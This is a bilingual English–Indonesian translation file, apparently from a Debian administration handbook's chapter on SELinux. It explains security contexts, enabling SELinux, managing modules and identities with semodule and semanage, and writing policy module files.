id-ID: Dengan SELinux, pengelolaan hak ini benar-benar berbeda dari sistem Unix tradisional. Hak-hak proses tergantung pada <emphasis>konteks keamanan</emphasis>. Konteks didefinisikan oleh <emphasis>identitas</emphasis> pengguna yang memulai proses, <emphasis>peran</emphasis> dan <emphasis>domain</emphasis> yang dibawa oleh pengguna saat itu. Hak benar-benar tergantung pada domain, tetapi transisi antara domain dikontrol oleh peran. Terakhir, transisi yang mungkin antar peran tergantung pada identitas.

en: Security contexts and Unix users
id-ID: Konteks keamanan dan pengguna Unix

en: In practice, during login, the user gets assigned a default security context (depending on the roles that they should be able to endorse). This defines the current domain, and thus the domain that all new child processes will carry. If you want to change the current role and its associated domain, you must call <command>newrole -r <replaceable>role_r</replaceable> -t <replaceable>domain_t</replaceable></command> (there is usually only a single domain allowed for a given role, the <literal>-t</literal> parameter can thus often be left out). This command authenticates you by asking you to type your password. This feature forbids programs to automatically switch roles. Such changes can only happen if they are explicitly allowed in the SELinux policy.
id-ID: Dalam prakteknya, sewaktu Anda login, pengguna akan diberi konteks keamanan standar (tergantung pada peran yang mereka harus mampu dukung). Ini mendefinisikan domain saat ini, dan dengan demikian domain yang akan dibawa oleh proses anak baru. Jika Anda ingin mengubah peran saat ini dan domain yang terkait, Anda harus menjalankan <command>newrole -r <replaceable>role_r</replaceable> -t <replaceable>domain_t</replaceable></command> (biasanya ada hanya satu domain yang diperbolehkan untuk peran yang diberikan, sehingga parameter <literal>-t</literal> seringkali dapat ditinggalkan). Perintah ini mengotentikasi Anda dengan meminta Anda untuk mengetik kata sandi. Fitur ini melarang program untuk secara otomatis beralih peran. Perubahan tersebut hanya dapat terjadi jika mereka secara eksplisit diizinkan dalam kebijakan SELinux.

en: Obviously the rights do not apply to all <emphasis>objects</emphasis> (files, directories, sockets, devices, etc.). They can vary from object to object. To achieve this, each object is associated to a <emphasis>type</emphasis> (this is known as labeling). Domains' rights are thus expressed with sets of (dis)allowed operations on those types (and, indirectly, on all objects which are labeled with the given type).
id-ID: Tentu saja hak tidak berlaku untuk semua <emphasis>objek</emphasis> (berkas, direktori, soket, perangkat, dll). Mereka bisa bervariasi dari objek ke objek. Untuk mencapai hal ini, setiap objek dikaitkan dengan suatu <emphasis>tipe</emphasis> (ini dikenal sebagai pelabelan). Hak domain kemudian dinyatakan dengan set operasi yang (tidak) diizinkan pada tipe tersebut (dan, secara tidak langsung, pada semua objek yang dilabeli tipe tertentu).

en: <emphasis>EXTRA</emphasis> Domains and types are equivalent
id-ID: <emphasis>EKSTRA</emphasis> Domain dan tipe adalah setara

en: Internally, a domain is just a type, but a type that only applies to processes. That is why domains are suffixed with <literal>_t</literal> just like objects' types.
id-ID: Secara internal, domain adalah hanya sekedar tipe, tapi tipe yang hanya berlaku untuk proses. Itu sebabnya domain diberi akhiran <literal>_t</literal> seperti tipe objek.

en: By default, a program inherits its domain from the user who started it, but the standard SELinux policies expect many important programs to run in dedicated domains. To achieve this, those executables are labeled with a dedicated type (for example <command>ssh</command> is labeled with <literal>ssh_exec_t</literal>, and when the program starts, it automatically switches to the <literal>ssh_t</literal> domain). This automatic domain transition mechanism makes it possible to grant only the rights required by each program. It is a fundamental principle of SELinux.
id-ID: Secara default, program mewarisi domainnya dari pengguna yang memulai, tetapi kebijakan SELinux standar berharap banyak program penting untuk dijalankan di domain yang terdedikasi. Untuk mencapai ini, executable yang diberi label dengan tipe khusus (sebagai contoh <command>ssh</command> diberi label dengan <literal>ssh_exec_t</literal>, dan ketika program dimulai, secara otomatis beralih ke domain <literal>ssh_t</literal>). Mekanisme transisi otomatis domain ini menjadikannya mungkin untuk memberikan hanya hak yang diperlukan oleh setiap program. Ini adalah prinsip dasar SELinux.

en: Automatic transitions between domains
id-ID: Transisi otomatis antar domain

en: <emphasis>IN PRACTICE</emphasis> Finding the security context
id-ID: <emphasis>DALAM PRAKTEK</emphasis> Menemukan konteks keamanan

en: <primary>context, security context</primary>
id-ID: <primary>konteks, konteks keamanan</primary>

en: To find the current security context in a shell, you should call <command>id -Z</command>.
id-ID: Untuk menemukan konteks keamanan saat ini di shell, Anda harus memanggil <command>id -Z</command>.

en: To find the security context of a given process, you should use the <literal>Z</literal> option of <command>ps</command>.
id-ID: Untuk menemukan konteks keamanan proses tertentu, Anda harus menggunakan opsi <literal>Z</literal> dari <command>ps</command>.

en: The first field contains the identity, the role, the domain and the MCS level, separated by colons. The MCS level (<emphasis>Multi-Category Security</emphasis>) is a parameter that intervenes in the setup of a confidentiality protection policy, which regulates the access to files based on their sensitivity. This feature will not be explained in this book.
id-ID: Field pertama berisi identitas, peran, domain, dan tingkat MCS, dipisahkan dengan titik dua. Tingkat MCS (<emphasis>Multi-Category Security</emphasis>) adalah parameter yang ikut campur tangan dalam penyiapanan kebijakan perlindungan kerahasiaan, yang mengatur akses ke berkas berdasarkan sensitivitas mereka. Fitur ini tidak akan dijelaskan dalam buku ini.

en: Finally, to find the type assigned to a file, you can use <command>ls -Z</command>.
id-ID: Akhirnya, untuk menemukan tipe yang ditugaskan ke sebuah berkas, Anda dapat menggunakan <command>ls -Z</command>.

en: It is worth noting that the identity and role assigned to a file bear no special importance (they are never used), but for the sake of uniformity, all objects get assigned a complete security context.
id-ID: Perlu dicatat bahwa identitas dan peran yang diberikan pada suatu berkas tidak memiliki kepentingan khusus (mereka tidak pernah digunakan), tetapi demi keseragaman, semua objek mendapatkan konteks keamanan yang lengkap.

en: Setting Up SELinux
id-ID: Menyiapkan SELinux

en: SELinux support is built into the standard kernels provided by Debian. The core Unix tools support SELinux without any modifications. It is thus relatively easy to enable SELinux.
id-ID: Dukungan SELinux dibangun ke dalam kernel standar yang disediakan oleh Debian. Alat-alat Unix inti yang mendukung SELinux tanpa modifikasi apapun. Karena itu relatif mudah untuk mengaktifkan SELinux.

en: The <emphasis role="pkg">selinux-policy-default</emphasis> package contains a set of standard rules. By default, this policy only restricts access for a few widely exposed services. The user sessions are not restricted and it is thus unlikely that SELinux would block legitimate user operations. However, this does enhance the security of system services running on the machine. To setup a policy equivalent to the old “strict” rules, you just have to disable the <literal>unconfined</literal> module (modules management is detailed further in this section).
id-ID: Paket <emphasis role="pkg">selinux-policy-default</emphasis> berisi serangkaian standar aturan. Secara default, kebijakan ini hanya membatasi akses untuk beberapa layanan yang terbuka lebar. Sesi pengguna yang tidak dibatasi dan tidak mungkin bahwa SELinux akan memblokir operasi pengguna yang sah. Namun, ini meningkatkan keamanan layanan sistem yang berjalan pada mesin. Untuk mennyiapkan sebuah kebijakan yang setara dengan aturan lama yang "ketat", Anda hanya perlu menonaktifkan modul <literal>unconfined</literal> (manajemen modul dirinci lebih lanjut dalam bagian ini).

en: Once the policy has been installed, you should label all the available files (which means assigning them a type). This operation must be manually started with <command>fixfiles relabel</command>.
id-ID: Setelah kebijakan diinstal, Anda harus melabeli semua berkas yang tersedia (yang berarti menugaskan ke mereka suatu tipe). Operasi ini harus secara manual dimulai dengan <command>fixfiles relabel</command>.

en: The SELinux system is now ready. To enable it, you should add the <literal>selinux=1 security=selinux</literal> parameter to the Linux kernel. The <literal>audit=1</literal> parameter enables SELinux logging which records all the denied operations. Finally, the <literal>enforcing=1</literal> parameter brings the rules into application: without it SELinux works in its default <emphasis>permissive</emphasis> mode where denied actions are logged but still executed. You should thus modify the GRUB bootloader configuration file to append the desired parameters. One easy way to do this is to modify the <literal>GRUB_CMDLINE_LINUX</literal> variable in <filename>/etc/default/grub</filename> and to run <command>update-grub</command>. SELinux will be active after a reboot.
id-ID: Sistem SELinux kini siap. Untuk mengaktifkannya, Anda harus menambahkan parameter kernel Linux <literal>selinux=1 security=selinux</literal>. Parameter <literal>audit=1</literal> memungkinkan log SELinux yang mencatat semua operasi yang ditolak. Akhirnya, parameter <literal>enforcing=1</literal> membawa aturan ke aplikasi: tanpa itu SELinux bekerja dalam pengaturan mode <emphasis>permisif</emphasis> dimana tindakan yang ditolak dicatat tapi masih dijalankan. Anda justru harus memodifikasi berkas konfigurasi bootloader GRUB untuk menambahkan parameter yang diinginkan. Salah satu cara mudah untuk melakukan ini adalah untuk mengubah variabel <literal>GRUB_CMDLINE_LINUX</literal> dalam <filename>/etc/default/grub</filename> dan menjalankan <command>update-grub</command>. SELinux akan aktif setelah reboot.

en: It is worth noting that the <command>selinux-activate</command> script automates those operations and forces a labeling on next boot (which avoids new non-labeled files created while SELinux was not yet active and while the labeling was going on).
id-ID: Perlu dicatat bahwa skrip <command>selinux-activate</command> mengotomatiskan operasi itu dan memaksa pelabelan pada boot berikutnya (yang menghindari berkas baru tanpa label diciptakan sementara SELinux masih belum aktif dan sementara pelabelan terjadi).

en: Managing an SELinux System
id-ID: Mengelola Sistem SELinux

en: The SELinux policy is a modular set of rules, and its installation detects and enables automatically all the relevant modules based on the already installed services. The system is thus immediately operational. However, when a service is installed after the SELinux policy, you must be able to manually enable the corresponding module. That is the purpose of the <command>semodule</command> command. Furthermore, you must be able to define the roles that each user can endorse, and this can be done with the <command>semanage</command> command.
id-ID: Kebijakan SELinux adalah seperangkat aturan modular, dan instalasinya mendeteksi dan memungkinkan secara otomatis semua modul yang relevan berdasarkan layanan yang sudah terpasang. Maka sistem ini seketika operasional. Namun, ketika layanan diinstal setelah kebijakan SELinux, Anda harus mampu secara manual memfungsikan modul yang sesuai. Itulah tujuan dari perintah <command>semodule</command>. Lebih jauh, Anda harus mampu mendefinisikan peran yang setiap pengguna dapat mendukungnya, dan ini dapat dilakukan dengan perintah <command>semanage</command>.

en: Those two commands can thus be used to modify the current SELinux configuration, which is stored in <filename>/etc/selinux/default/</filename>. Unlike other configuration files that you can find in <filename>/etc/</filename>, all those files must not be changed by hand. You should use the programs designed for this purpose.
id-ID: Dua perintah tersebut dapat digunakan untuk mengubah konfigurasi SELinux saat ini, yang disimpan di <filename>/etc/selinux/default/</filename>. Tidak seperti berkas konfigurasi lain yang dapat Anda temukan di <filename>/etc/</filename>, semua berkas yang tidak boleh diubah dengan tangan. Anda harus menggunakan program-program yang dirancang untuk tujuan ini.

en: <emphasis>GOING FURTHER</emphasis> More documentation
id-ID: <emphasis>LEBIH JAUH</emphasis> Dokumentasi lain

en: Since the NSA doesn't provide any official documentation, the community set up a wiki to compensate. It brings together a lot of information, but you must be aware that most SELinux contributors are Fedora users (where SELinux is enabled by default). The documentation thus tends to deal specifically with that distribution. <ulink type="block" url="https://selinuxproject.org" />
id-ID: Karena NSA tidak memberikan dokumentasi resmi, komunitas menyiapkan sebuah wiki untuk mengkompensasi. Itu mengumpulkan banyak informasi, tetapi Anda harus menyadari bahwa kebanyakan kontributor SELinux adalah pengguna Fedora (dimana SELinux diaktifkan secara default). Maka dokumentasi cenderung khusus menangani distribusi tersebut. <ulink type="block" url="http://www.selinuxproject.org" />

en: Managing SELinux Modules
id-ID: Mengelola Modul SELinux

en: Available SELinux modules are stored in the <filename>/usr/share/selinux/default/</filename> directory. To enable one of these modules in the current configuration, you should use <command>semodule -i <replaceable>module.pp.bz2</replaceable></command>. The <emphasis>pp.bz2</emphasis> extension stands for <emphasis>policy package</emphasis> (compressed with bzip2).
id-ID: Modul-modul SELinux yang tersedia disimpan dalam direktori <filename>/usr/share/selinux/default/</filename>. Untuk mengaktifkan salah satu modul ini dalam konfigurasi saat ini, Anda harus menggunakan <command>semodule -i <replaceable>module.pp.bz2</replaceable></command>. Ekstensi <emphasis>pp.bz2</emphasis> singkatan dari <emphasis>policy package</emphasis> (paket kebijakan, dikompresi dengan bzip2).

en: Removing a module from the current configuration is done with <command>semodule -r <replaceable>module</replaceable></command>. Finally, the <command>semodule -l</command> command lists the modules which are currently installed. It also outputs their version numbers. Modules can be selectively enabled with <command>semodule -e</command> and disabled with <command>semodule -d</command>.
id-ID: Menghapus modul dari konfigurasi saat ini dilakukan dengan <command>semodule -r <replaceable>modul</replaceable></command>. Akhirnya, perintah <command>semodule -l</command> menampilkan daftar modul yang saat ini diinstal. Itu juga mengeluarkan nomor versi mereka. Modul dapat diaktifkan secara selektif dengan <command>semodule -e</command> dan dinonaktifkan dengan <command>semodule -d</command>.

en: <command>semodule</command> immediately loads the new configuration unless you use its <literal>-n</literal> option. It is worth noting that the program acts by default on the current configuration (which is indicated by the <literal>SELINUXTYPE</literal> variable in <filename>/etc/selinux/config</filename>), but that you can modify another one by specifying it with the <literal>-s</literal> option.
id-ID: <command>semodule</command> seketika memuat konfigurasi baru kecuali jika Anda menggunakan opsi <literal>-n</literal>. Perlu dicatat bahwa program bertindak secara default pada konfigurasi saat ini (yang ditunjukkan oleh variabel <literal>SELINUXTYPE</literal> di <filename>/etc/selinux/config</filename>), tetapi Anda dapat memodifikasi yang lain dengan menyatakan opsi <literal>-s</literal>.

en: Managing Identities
id-ID: Mengelola Identitas

en: Every time that a user logs in, they get assigned an SELinux identity. This identity defines the roles that they will be able to endorse. Those two mappings (from the user to the identity and from this identity to roles) are configurable with the <command>semanage</command> command.
id-ID: Setiap kali seorang pengguna login, mereka mendapatkan identitas SELinux. Identitas ini mendefinisikan peran yang mereka akan mampu dukung. Dua pemetaan itu (dari pengguna ke identitas dan dari identitas ini ke peran) dapat dikonfigurasi dengan perintah <command>semanage</command>.

en: <command>semanage login -l</command> lists the current mapping between user identifiers and SELinux identities. Users that have no explicit entry get the identity indicated in the <literal>__default__</literal> entry. The <command>semanage login -a -s user_u <replaceable>user</replaceable></command> command will associate the <emphasis>user_u</emphasis> identity to the given user. Finally, <command>semanage login -d <replaceable>user</replaceable></command> drops the mapping entry assigned to this user.
id-ID: <command>semanage login -l</command> daftar pemetaan saat ini antara pengidentifikasi pengguna dan identitas SELinux. Pengguna yang tidak memiliki entri eksplisit mendapatkan identitas yang ditunjukkan dalam entri <literal>__default__</literal>. Perintah <command>semanage login -a -s user_u <replaceable>pengguna</replaceable></command> akan mengasosiasikan identitas <emphasis>user_u</emphasis> kepada pengguna tertentu. Akhirnya, <command>semanage login -d <replaceable>pengguna</replaceable></command> menghapus entri pemetaan yang ditetapkan ke pengguna ini.

en: <command>semanage user -l</command> lists the mapping between SELinux user identities and allowed roles. Adding a new identity requires to define both the corresponding roles and a labeling prefix which is used to assign a type to personal files (<filename>/home/<replaceable>user</replaceable>/*</filename>). The prefix must be picked among <literal>user</literal>, <literal>staff</literal>, and <literal>sysadm</literal>. The “<literal>staff</literal>” prefix results in files of type “<literal>staff_home_dir_t</literal>”. Creating a new SELinux user identity is done with <command>semanage user -a -R <replaceable>roles</replaceable> -P <replaceable>prefix</replaceable> <replaceable>identity</replaceable></command>. Finally, you can remove an SELinux user identity with <command>semanage user -d <replaceable>identity</replaceable></command>.
id-ID: <command>semanage user -l</command> menampilkan daftar pemetaan antara identitas pengguna SELinux dan peran yang diperbolehkan. Menambahkan identitas baru memerlukan untuk mendefinisikan peran yang sesuai dan awalan pelabelan yang digunakan untuk menetapkan suatu tipe ke berkas pribadi (<filename>/home/<replaceable>pengguna</replaceable>/*</filename>). Awalan harus dipilih di antara <literal>user</literal>, <literal>staff</literal>, dan <literal>sysadm</literal>. Awalan "<literal>staff</literal>" menghasilkan berkas-berkas bertipe "<literal>staff_home_dir_t</literal>". Menciptakan identitas pengguna baru SELinux dilakukan dengan <command>semanage user -a -R <replaceable>peran</replaceable> -P <replaceable>awalan</replaceable> <replaceable>identitas</replaceable></command>. Akhirnya, Anda dapat menghapus identitas pengguna SELinux dengan <command>semanage user -d <replaceable>identitas</replaceable></command>.

en: Managing File Contexts, Ports and Booleans
id-ID: Mengelola Konteks Berkas, Port, dan Boolean

en: Each SELinux module provides a set of file labeling rules, but it is also possible to add custom labeling rules to cater to a specific case. For example, if you want the web server to be able to read files within the <filename>/srv/www/</filename> file hierarchy, you could execute <command>semanage fcontext -a -t httpd_sys_content_t "/srv/www(/.*)?"</command> followed by <command>restorecon -R /srv/www/</command>. The former command registers the new labeling rules and the latter resets the file types according to the current labeling rules.
id-ID: Setiap modul SELinux menyediakan satu set berkas aturan pelabelan, tapi juga dimungkinkan untuk menambahkan aturan pelabelan kustom untuk memenuhi kasus tertentu. Sebagai contoh, jika Anda ingin server web dapat membaca berkas dalam hirarki berkas <filename>/srv/www/</filename>, Anda bisa menjalankan <command>semanage fcontext -a -t httpd_sys_content_t "/srv/www(/.*)?"</command> diikuti oleh <command>restorecon -R /srv/www/</command>. Perintah awal mendaftarkan aturan pelabelan baru dan yang kedua mereset tipe berkas menurut aturan pelabelan saat ini.

en: Similarly, TCP/UDP ports are labeled in a way that ensures that only the corresponding daemons can listen to them. For instance, if you want the web server to be able to listen on port 8080, you should run <command>semanage port -m -t http_port_t -p tcp 8080</command>.
id-ID: Demikian pula, port TCP/UDP diberi label dalam cara yang memastikan bahwa hanya daemon yang sesuai yang dapat mendengarkan mereka. Misalnya, jika Anda ingin server web dapat mendengarkan pada port 8080, Anda harus menjalankan <command>semanage port -m -t http_port_t -p tcp 8080</command>.

en: Adapting the Rules
id-ID: Mengadaptasi Aturan

en: Since the SELinux policy is modular, it might be interesting to develop new modules for (possibly custom) applications that lack them. These new modules will then complete the <emphasis>reference policy</emphasis>.
id-ID: Karena kebijakan SELinux modular, mungkin menarik untuk mengembangkan modul baru untuk aplikasi (mungkin kustom) yang kekurangan mereka. Modul-modul baru ini kemudian akan menyelesaikan <emphasis>kebijakan acuan</emphasis>.

en: To create new modules, the <emphasis role="pkg">selinux-policy-dev</emphasis> package is required, as well as <emphasis role="pkg">selinux-policy-doc</emphasis>. The latter contains the documentation of the standard rules (<filename>/usr/share/doc/selinux-policy-doc/html/</filename>) and sample files that can be used as templates to create new modules. Install those files and study them more closely:
id-ID: Untuk membuat modul baru, paket <emphasis role="pkg">selinux-policy-dev</emphasis> diperlukan, serta <emphasis role="pkg">selinux-policy-doc</emphasis>. Yang kedua berisi dokumentasi aturan standar (<filename>/usr/share/doc/selinux-policy-doc/html/</filename>) dan berkas sampel yang dapat digunakan sebagai template untuk membuat modul baru. Pasang berkas tersebut dan pelajari lebih dekat:

en: The <filename>.te</filename> file is the most important one. It defines the rules. The <filename>.fc</filename> file defines the “file contexts”, that is the types assigned to files related to this module. The data within the <filename>.fc</filename> file are used during the file labeling step. Finally, the <filename>.if</filename> file defines the interface of the module: it is a set of “public functions” that other modules can use to properly interact with the module that you're creating.
id-ID: Berkas <filename>.te</filename> adalah yang paling penting. Itu mendefinisikan aturan-aturan. Berkas <filename>.fc</filename> mendefinisikan "file contexts (konteks berkas)", itu adalah jenis yang ditetapkan ke berkas yang terkait dengan modul ini. Data di dalam berkas <filename>.fc</filename> digunakan selama langkah pelabelan berkas. Terakhir, berkas <filename>.if</filename> mendefinisikan antarmuka modul: ini adalah satu set "fungsi umum" yang modul lain dapat gunakan untuk berinteraksi secara benar dengan modul yang Anda buat.

en: Writing a <filename>.fc</filename> file
id-ID: Menulis suatu berkas <filename>.fc</filename>

en: Reading the below example should be sufficient to understand the structure of such a file. You can use regular expressions to assign the same security context to multiple files, or even an entire directory tree.
id-ID: Membaca contoh di bawah ini mestinya cukup untuk memahami struktur berkas tersebut. Anda dapat menggunakan ekspresi reguler untuk menetapkan konteks keamanan yang sama untuk beberapa berkas, atau bahkan seluruh pohon direktori.

en: <filename>example.fc</filename> file
id-ID: berkas <filename>example.fc</filename>

en: Writing a <filename>.if</filename> File
id-ID: Menulis suatu Berkas <filename>.if</filename>

en: In the sample below, the first interface (“<literal>myapp_domtrans</literal>”) controls who can execute the application. The second one (“<literal>myapp_read_log</literal>”) grants read rights on the application's log files.
id-ID: Dalam contoh di bawah, antarmuka yang pertama ("<literal>myapp_domtrans</literal>") mengendalikan siapa yang dapat menjalankan aplikasi. Yang kedua ("<literal>myapp_read_log</literal>") menghibahkan hak baca pada berkas log aplikasi.

en: Each interface must generate a valid set of rules which can be embedded in a <filename>.te</filename> file. You should thus declare all the types that you use (with the <literal>gen_require</literal> macro), and use standard directives to grant rights. Note, however, that you can use interfaces provided by other modules. The next section will give more explanations about how to express those rights.
id-ID: Setiap antarmuka harus menghasilkan seperangkat aturan yang dapat ditanam dalam berkas <filename>.te</filename> yang valid. Anda harus menyatakan semua tipe yang Anda gunakan (dengan makro <literal>gen_require</literal>), dan menggunakan direktif standar untuk memberikan hak. Namun, perlu diketahui bahwa Anda dapat menggunakan antarmuka yang disediakan oleh modul lain. Bagian berikutnya akan memberikan penjelasan lebih lanjut tentang bagaimana untuk mengekspresikan hak tersebut.

en: <filename>example.if</filename> File
id-ID: Berkas <filename>example.if</filename>

en: <emphasis>DOCUMENTATION</emphasis> Explanations about the <emphasis>reference policy</emphasis>
id-ID: <emphasis>DOKUMENTASI</emphasis> Penjelasan tentang <emphasis>kebijakan referensi</emphasis>

en: The <emphasis>reference policy</emphasis> evolves like any free software project: based on volunteer contributions. The project is hosted by Tresys, one of the most active companies in the SELinux field. Their wiki contains explanations on how the rules are structured and how you can create new ones. <ulink type="block" url="https://github.com/SELinuxProject/refpolicy/wiki/GettingStarted" />
id-ID: <emphasis>Kebijakan acuan</emphasis> berkembang seperti proyek perangkat lunak bebas: berdasarkan kontribusi sukarela. Proyek ini diselenggarakan oleh Tresys, salah satu perusahaan yang paling aktif di bidang SELinux. Wiki mereka berisi penjelasan tentang bagaimana aturan yang terstruktur dan bagaimana Anda dapat membuat yang baru. <ulink type="block" url="https://github.com/TresysTechnology/refpolicy/wiki/GettingStarted" />

en: Writing a <filename>.te</filename> File
id-ID: Menulis suatu Berkas <filename>.te</filename>

en: Have a look at the <filename>example.te</filename> file:
id-ID: Silakan lihat berkas <filename>example.te</filename>:

en: <emphasis>GOING FURTHER</emphasis> The <command>m4</command> macro language
id-ID: <emphasis>LEBIH JAUH</emphasis> Bahasa makro <command>m4</command>

en: To properly structure the policy, the SELinux developers used a macro-command processor. Instead of duplicating many similar <emphasis>allow</emphasis> directives, they created “macro functions” to use a higher-level logic, which also results in a much more readable policy.
id-ID: Untuk menstrukturkan kebijakan dengan benar, para pengembang SELinux menggunakan prosesor macro-command. Bukan menduplikasi banyak direktif <emphasis>allow</emphasis> yang serupa, mereka menciptakan "makro fungsi" untuk menggunakan logika tingkat yang lebih tinggi, yang juga menghasilkan kebijakan yang jauh lebih mudah dibaca.

en: In practice, <command>m4</command> is used to compile those rules. It does the opposite operation: it expands all those high-level directives into a huge database of <emphasis>allow</emphasis> directives.
id-ID: Dalam prakteknya, <command>m4</command> digunakan untuk mengkompail aturan itu. Itu melakukan operasi yang berlawanan: mengekspansi semua direktif tingkat tinggi tersebut ke dalam basis data besar direktif <emphasis>allow</emphasis>.

en: The SELinux “interfaces” are only macro functions which will be substituted by a set of rules at compilation time. Likewise, some rights are in fact sets of rights which are replaced by their values at compilation time.
id-ID: "interface" SELinux adalah satu-satunya fungsi makro yang akan digantikan oleh satu set aturan pada waktu kompilasi. Demikian juga, beberapa hak yang sebenarnya adalah set hak yang digantikan oleh nilai-nilai mereka pada waktu kompilasi.

en: The module must be identified by its name and version number. This directive is required.
id-ID: Modul harus diidentifikasi oleh nama dan nomor versinya. Direktif ini diperlukan.

en: If the module introduces new types, it must declare them with directives like this one. Do not hesitate to create as many types as required rather than granting too many useless rights.
id-ID: Jika modul memperkenalkan tipe baru, itu harus menyatakan mereka dengan direktif seperti ini. Jangan ragu untuk menciptakan tipe sebanyak yang diperlukan daripada memberikan terlalu banyak hak yang tidak berguna.

en: Those interfaces define the <literal>myapp_t</literal> type as a process domain that should be used by any executable labeled with <literal>myapp_exec_t</literal>. Implicitly, this adds an <literal>exec_type</literal> attribute on those objects, which in turn allows other modules to grant rights to execute those programs: for instance, the <literal>userdomain</literal> module allows processes with domains <literal>user_t</literal>, <literal>staff_t</literal>, and <literal>sysadm_t</literal> to execute them. The domains of other confined applications will not have the rights to execute them, unless the rules grant them similar rights (this is the case, for example, of <command>dpkg</command> with its <literal>dpkg_t</literal> domain).
id-ID: Antarmuka tersebut mendefinisikan tipe <literal>myapp_t</literal> sebagai domain proses yang harus digunakan oleh setiap executable yang dilabeli dengan <literal>myapp_exec_t</literal>. Secara implisit, ini menambah atribut <literal>exec_type</literal> pada objek tersebut, yang pada gilirannya memungkinkan modul lain untuk memberikan hak untuk mengeksekusi program-program tersebut: sebagai contoh, modul <literal>userdomain</literal> memungkinkan proses dengan domain <literal>user_t</literal>, <literal>staff_t</literal>, dan <literal>sysadm_t</literal> untuk mengeksekusi mereka. Domain aplikasi terbatas yang lain tidak akan memiliki hak untuk mengeksekusi mereka, kecuali aturan memberi mereka hak-hak yang sama (ini adalah kasus, misalnya, dari <command>dpkg</command> dengan domainnya <literal>dpkg_t</literal>).

en: <literal>logging_log_file</literal> is an interface provided by the reference policy. It indicates that files labeled with the given type are log files which ought to benefit from the associated rules (for example, granting rights to <command>logrotate</command> so that it can manipulate them).
id-ID: <literal>logging_log_file</literal> adalah antarmuka yang disediakan oleh kebijakan referensi. Itu menunjukkan bahwa berkas yang dilabeli dengan tipe yang diberikan adalah berkas log yang seharusnya mendapatkan keuntungan dari aturan terkait (misalnya memberikan hak kepada <command>logrotate</command> sehingga dapat memanipulasi mereka).

en: The <literal>allow</literal> directive is the base directive used to authorize an operation. The first parameter is the process domain which is allowed to execute the operation. The second one defines the object that a process of the former domain can manipulate. This parameter is of the form “<replaceable>type</replaceable>:<replaceable>class</replaceable>“ where <replaceable>type</replaceable> is its SELinux type and <replaceable>class</replaceable> describes the nature of the object (file, directory, socket, fifo, etc.). Finally, the last parameter describes the permissions (the allowed operations).
id-ID: Direktif <literal>allow</literal> adalah petunjuk dasar yang digunakan untuk mengesahkan suatu operasi. Parameter pertama adalah domain proses yang diperbolehkan untuk mengeksekusi operasi. Yang kedua mendefinisikan objek dimana proses dari domain sebelumnya dapat memanipulasi. Parameter ini berbentuk "<replaceable>tipe</replaceable>:<replaceable>kelas</replaceable>" dimana <replaceable>tipe</replaceable> adalah tipe SELinux dan <replaceable>kelas</replaceable> menggambarkan sifat objek (berkas, direktori, soket, fifo, dll). Parameter terakhir menjelaskan hak akses (operasi yang diizinkan).

en: Permissions are defined as the set of allowed operations and follow this template: <literal>{ <replaceable>operation1</replaceable> <replaceable>operation2</replaceable> }</literal>. However, you can also use macros representing the most useful permissions. The <filename>/usr/share/selinux/devel/include/support/obj_perm_sets.spt</filename> lists them.
id-ID: Izin didefinisikan sebagai serangkaian operasi yang diperbolehkan dan mengikuti template ini: <literal>{ <replaceable>operasi1</replaceable> <replaceable>operasi2</replaceable> }</literal>. Namun, Anda juga dapat menggunakan makro yang mewakili izin yang paling berguna. <filename>/usr/share/selinux/devel/include/support/obj_perm_sets.spt</filename> memuat daftar mereka.

en: The following web page provides a relatively exhaustive list of object classes, and permissions that can be granted. <ulink type="block" url="https://selinuxproject.org/page/ObjectClassesPerms" />
id-ID: Halaman web berikut menyediakan daftar relatif lengkap dari kelas objek, dan izin yang dapat diberikan. <ulink type="block" url="https://www.selinuxproject.org/page/ObjectClassesPerms" />

en: Now you just have to find the minimal set of rules required to ensure that the target application or service works properly. To achieve this, you should have a good knowledge of how the application works and of what kind of data it manages and/or generates.
id-ID: Sekarang Anda hanya perlu menemukan set minimalis aturan-aturan yang diperlukan untuk memastikan bahwa aplikasi atau layanan target bekerja dengan baik. Untuk mencapai ini, Anda harus memiliki pengetahuan yang baik tentang bagaimana aplikasi bekerja dan jenis data apa yang dikelola dan/atau dihasilkan.

en: However, an empirical approach is possible. Once the relevant objects are correctly labeled, you can use the application in permissive mode: the operations that would be forbidden are logged but still succeed. By analyzing the logs, you can now identify the operations to allow. Here is an example of such a log entry:
id-ID: Namun, pendekatan empiris mungkin. Setelah objek relevan dilabeli dengan benar, Anda dapat menggunakan aplikasi dalam mode permisif: operasi yang akan dilarang dicatat tetapi masih berhasil. Dengan menganalisis log, Anda sekarang dapat mengidentifikasi operasi yang akan diizinkan. Berikut adalah contoh seperti entri log:

en: To better understand this message, let us study it piece by piece.
id-ID: Untuk lebih memahami pesan ini, marilah kita pelajari sepotong demi sepotong.

en: Analysis of an SELinux trace
id-ID: Analisis jejak SELinux

en: Message
id-ID: Pesan

en: Description
id-ID: Deskripsi

en: An operation has been denied.
id-ID: Operasi telah ditolak.

en: This operation required the <literal>read</literal> and <literal>write</literal> permissions.
id-ID: Operasi ini memerlukan izin <literal>read</literal> dan <literal>write</literal>.

en: The process with PID 1876 executed the operation (or tried to execute it).
id-ID: Proses dengan PID 1876 menjalankan operasi (atau mencoba untuk menjalankannya).

en: The process was an instance of the <literal>syslogd</literal> program.
id-ID: Proses adalah instance dari program <literal>syslogd</literal>.

en: The target object was named <literal>xconsole</literal>. Sometimes you can also have a “path” variable — with the full path — instead.
id-ID: Objek target dinamai <literal>xconsole</literal>. Kadang-kadang Anda dapat juga memiliki variabel "path" — dengan path lengkap — sebagai pengganti.

en: The device hosting the target object is a <literal>tmpfs</literal> (an in-memory filesystem). For a real disk, you could see the partition hosting the object (for example, “sda3”).
id-ID: Perangkat yang mewadahi objek target ini adalah <literal>tmpfs</literal> (suatu sistem berkas di memori). Untuk disk sungguhan, Anda bisa melihat partisi yang mewadahi objek (misalnya: "sda3").

en: The object is identified by the inode number 5510.
id-ID: Objek diidentifikasi oleh nomor inode 5510.

en: This is the security context of the process who executed the operation.
id-ID: Ini adalah konteks keamanan dari proses yang menjalankan operasi.

en: This is the security context of the target object.
id-ID: Ini adalah konteks keamanan objek target.

en: The target object is a FIFO file.
id-ID: Objek target adalah suatu berkas FIFO.

